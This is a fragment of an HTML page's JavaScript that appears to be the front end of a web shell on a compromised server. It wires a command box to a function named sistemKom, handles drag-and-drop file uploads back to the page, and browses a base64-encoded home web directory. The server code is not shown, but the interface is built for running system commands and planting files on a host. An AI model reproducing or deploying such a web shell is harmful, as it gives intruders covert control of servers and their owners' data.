    var fetchContainer = document.getElementById('fetchContainer');
    if (fetchContainer.style.display === 'none' || fetchContainer.style.display === '') {
        fetchContainer.style.display = 'block';
    } else {
        fetchContainer.style.display = 'none';
    }
}

var commandInput = document.getElementById("emr_et_atash");
if(commandInput) {
    commandInput.addEventListener("keyup", function(event)
    {
        event.preventDefault();
        if(event.key === 'Enter')
        {
            sistemKom();
        }
    });
}
</script>
<script>
const uploadPanel = document.getElementById('upload-panel');
const realFileInput = document.getElementById('file-input-real');
const ajaxForm = document.getElementById('ajaxUploadForm');
const statusDiv = document.getElementById('uploadStatus');
const progressContainer = document.getElementById('progress-container');
const progressBar = document.getElementById('progress-bar');

if (uploadPanel) {
    // Trigger file input click when panel is clicked
    uploadPanel.addEventListener('click', () => {
        realFileInput.click();
    });
    // Handle file selection via browse
    realFileInput.addEventListener('change', () => {
        if (realFileInput.files.length > 0) {
            handleUpload(realFileInput.files[0]);
        }
    });
    // Drag and Drop events
    uploadPanel.addEventListener('dragover', (e) => {
        e.preventDefault();
        uploadPanel.classList.add('drag-over');
    });
    uploadPanel.addEventListener('dragleave', () => {
        uploadPanel.classList.remove('drag-over');
    });
    uploadPanel.addEventListener('drop', (e) => {
        e.preventDefault();
        uploadPanel.classList.remove('drag-over');
        const files = e.dataTransfer.files;
        if (files.length > 0) {
            handleUpload(files[0]);
        }
    });
}


function handleUpload(file) {
    const formData = new FormData(ajaxForm);
    formData.set('ufile', file);
    // Make sure the file is correctly set
    
    const xhr = new XMLHttpRequest();
    xhr.open('POST', ajaxForm.action || window.location.href, true);

    // Progress event
    xhr.upload.addEventListener('progress', (e) => {
        if (e.lengthComputable) {
            const percentComplete = (e.loaded / e.total) * 100;
            progressContainer.style.display = 'block';
            progressBar.style.width = percentComplete + '%';
        }
    });
    xhr.onloadstart = function() {
        statusDiv.innerText = `Uploading ${file.name}...`;
        statusDiv.style.color = '#ddd';
        progressBar.style.width = '0%';
    };

    xhr.onload = function () {
        const res = xhr.responseText.trim();
        if (xhr.status === 200 && res.toLowerCase().includes("success")) {
            statusDiv.style.color = '#00FF00';
            statusDiv.innerText = 'Upload successful! Refreshing...';
            progressBar.style.width = '100%';
            setTimeout(() => {
                // Refresh the page to show the new file
                navigate('berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');
            }, 1500);
        } else {
            statusDiv.style.color = '#FF4444';
            statusDiv.innerText = 'Upload failed!';
            progressContainer.style.display = 'none';
        }
    };
    xhr.onerror = function () {
        statusDiv.style.color = '#FF4444';
        statusDiv.innerText = 'An error occurred during upload!';
        progressContainer.style.display = 'none';
    };

    xhr.send(formData);
}
</script>
</body>
</html>